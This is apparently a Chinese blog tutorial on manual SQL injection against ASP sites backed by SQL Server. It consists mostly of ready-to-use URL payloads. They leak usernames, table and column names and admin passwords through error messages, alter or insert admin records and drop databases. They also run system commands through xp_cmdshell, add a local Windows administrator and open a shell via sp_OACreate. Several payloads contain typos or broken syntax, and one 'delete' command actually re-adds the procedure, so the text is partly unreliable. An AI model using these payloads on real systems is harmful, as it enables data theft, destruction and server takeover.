判断数据库类型
以http://www.xxx.com/xxx.asp?id=xx为例子,如果用单引号、and 1=1、and 1=2检测到这个网站有漏洞,可以从加单引号后返回的错误信息中确定该网站使用的是SQL Sever数据库
image.png获得当前用户的用户名
http://www.xxx.com/xx.asp?id=xxxx and user>0
通过上述语句可以通过报错信息得到当前用户的用户名
image.png为什么输入and user > 0就可以得到当前用户?
因为user是SQL Sever的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。而这里拿一个nvarchar的值跟int的数的0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Sever的出错提示是:将nvarchar的值"xingsheadmin"转换数据类型为int的列时发生语法错误,注意,"xingsheadmin"正是变量user的值,这样,不费吹灰之力就拿到了数据库的用户名。
如果是sa登录,那么返回的错误提示是将"dbo"转换成int的列发生错误,如下图:
image.png查询当前用户的数据信息
http://www.xxx.com/xx.asp?id=xxxx having 1=1--
image.png
其中FORUM_TOPICS.TOPIC_ID就是当前用户的数据信息。FORUM_TOPICS是表名,TOPIC_ID为列名。
继续查询当前用户的数据信息
http://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS having 1=1--
可以得到一个T_SUBJECT列名
image.pnghttp://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS.T_SUBJECT having 1=1--
使用上述语句可以得到其他的列名
上面的方法的原理是在SQL语句中,having 1=1--是与group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名
暴任意表名
语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc) > 1。其中N代表数据库中的第N个表。
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1
猜解到第一个表的表名为D99_REG,如下图:
image.pnghttp://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 2 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1
猜解到第二个表名shit_tmp,如下图:
image.png暴任意表中的任意列的数据
语句为:and (select top 1 col_name(object_id('表名'),N) from sysobjects) > 1
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),1) from sysobjects) > 1
上述语句暴出D99_REG表中的第一个列名为ID
image.pnghttp://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects) > 1
上述语句暴出D99_REG表中的第二个列名为Data
image.png暴出数据库中的数据
语句为:and (select top 1 列名 from 表名 where id=N) > 1 其中N代表第N条数据。
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 username from admin where id=1) > 1
上述语句可以猜解出admin表中username的第一条数据。
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 password from admin where id=1) > 1
上述语句可以猜解出admin表中password的第一条数据。
若URL中的参数是字符
判断是否存在注入漏洞
http://www.xxx.com/xxx.asp?action=value' and 1=1
http://www.xxx.com/xxx.asp?action=value' and 1=2
判断当前的数据库类型
http://www.xxx.com/xxx.asp?action=value' and user > 0
搜索型注入
注入代码:
要搜索的关键字%' and 注入攻击代码
判断注入漏洞(假设搜索关键字为a):
a' and 1=1
a' and 1=2
利用SQL注入修改数据库中的数据
修改管理员密码
语句为: ;update 表名 set 列名='内容' where 条件
将admin表中的username为wzh的密码改为123
http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where username='wzh'
新添加一个管理员
语句为:;insert into 表名 values(内容)--
在admin表中添加一个username为wzh,password为123的管理员
http://www.xxx.com/xxx.asp?id=xx;insert into admin values(wzh,123)--
删除数据库
语句为:;drop databse 数据库名
删除数据库hack
http://www.xxx.com/xxx.asp?id=xx;drop database hacck
获得数据库相关信息
获得数据库版本:http://www.xxx.com/xxx.asp?id=xx and (select @@version) > 0
获得当前数据库名:http://www.xxx.com/xxx.asp?id=xx and db_name() > 0
获得当前数据库用户名:http://www.xxx.com/xxx.asp?id=xx and user > 0
注:user、SESSION、CURRENT_USER、SYSTEM_USER都可以获得当前数据库用户名
判断是否支持多句查询:http://www.xxx.com/xxx.asp?id=xx;declare @a int--
判断是否支持子查询:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects]) >= 0
利用数据库的扩展存储过程(exec master..xp_cmdshell)
注:主要在;exec master..xp_cmdshell后加上引号和引号内写入一些DOS命令
查看服务器上的C盘根目录下的文件和文件夹
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'dir C:\'
加一个管理员账号
往服务器里面加了一个123的管理员
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'
关于扩展存储过程
判断扩展存储过程是否存在
http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
如果返回正常则说明扩展存储过程存在,返回不正常的话就说明不存在。
若扩展存储过程不存在,恢复存储过程
语句为:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
执行如下语句,网站http://www.xxx.com/后台的数据库的扩展存储过程就被恢复了:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
如果要删除扩展存储过程,执行如下语句:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell
通过访问OLE对象访问OLE控件间接获得shell
注:要得到shell,要用到两个关键函数,"sp_OACreate"和"sp_OAMethod"。
http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT 'wscript.shell',@s exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir C:\'
执行的结果是返回遍历服务器C盘下的所有文件,同时达到一个shell的功能,但是注意,需要是SA权限才能够执行
网友评论